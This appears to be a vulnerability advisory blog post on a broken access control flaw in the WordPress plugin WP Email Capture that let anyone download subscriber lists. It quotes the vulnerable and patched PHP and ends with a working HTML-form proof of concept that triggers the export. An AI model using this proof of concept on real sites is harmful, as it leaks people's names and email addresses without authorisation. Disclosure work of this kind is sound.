14 Jul 2023

Information Disclosure Vulnerability in WP Email Capture

Yesterday, we saw what appeared to be a hacker probing for usage of the WordPress plugin WP Email Capture. Looking at the latest version we found a number of places where the code was insecure, but nothing that looked a vulnerability that a hacker would exploit. One of the recent versions of the plugin had changelog that might explain a hacker’s interest:

Major update – fixed a Unauthenticated Broken Access Control security bug which could allow non authenticated users to download the lists.

Looking at the changes made in that version, we confirmed that previously any one could download the names and associated email addresses submitted through the plugin.

The vulnerable code existed in the function wp_email_capture_options_process(), which is located in the file /inc/options.php. That function is registered to run during admin_init, which makes it available to even those not logged in to WordPress:

44
add_action( 'admin_init', 'wp_email_capture_options_process' );

Before the fix, the function wp_email_capture_export(), which would cause a download of the plugin’s data, would be run without any security checks:

631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
function wp_email_capture_options_process()
{ // whitelist options
 
	register_setting('wp-email-capture-group', 'wp_email_capture_signup');
	register_setting('wp-email-capture-group', 'wp_email_capture_redirection');
	register_setting('wp-email-capture-group', 'wp_email_capture_from');
	register_setting('wp-email-capture-group', 'wp_email_capture_subject');
	register_setting('wp-email-capture-group', 'wp_email_capture_body');
	register_setting('wp-email-capture-group', 'wp_email_capture_link');
	register_setting('wp-email-capture-group', 'wp_email_capture_from_name');
	register_setting('wp-email-capture-group', 'wp_email_capture_name_required');
	register_setting('wp-email-capture-group', 'wp_email_capture_name_delimeter');
	register_setting('wp-email-capture-group', 'wp_email_capture_send_email_html');
	register_setting('wp-email-capture-group', 'wp_email_capture_disabled_headers');
	register_setting('wp-email-capture-group', 'wp_email_capture_default_styling');
	register_setting('wp-email-capture-group', 'wp_email_capture_enable_gdpr');
	register_setting('wp-email-capture-group', 'wp_email_capture_recaptcha_client_api_key');
	register_setting('wp-email-capture-group', 'wp_email_capture_recaptcha_server_api_key');
	register_setting('wp-email-capture-group', 'wp_email_capture_recaptcha_api_type');
	register_setting('wp-email-capture-group', 'wp_email_capture_unit_for_privacy');
	register_setting('wp-email-capture-group', 'wp_email_capture_number_for_privacy', 'wp_email_capture_check_number_is_a_number');
 
	if (isset($_REQUEST['wp_email_capture_export'])) {
 
		wp_email_capture_export();

In the new version a check was added to only allow users with the Administrator role access to the download:

653
654
655
656
657
658
659
660
	if (isset($_REQUEST['wp_email_capture_export'])) {
 
		if (is_user_logged_in() ) {
			if ( current_user_can('administrator') ) {
				wp_email_capture_export();
			} else {
				wp_die( "Admin's Only Please" );
			}

Proof of Concept

The following proof of concept will download the names and email addresses submitted through the plugin.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="wp_email_capture_export" value="" />
<input type="submit" value="Submit" />
</form>
</body>

Plugin Security Scorecard Grade for WP Email Capture

Checked on August 1, 2024
B+

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.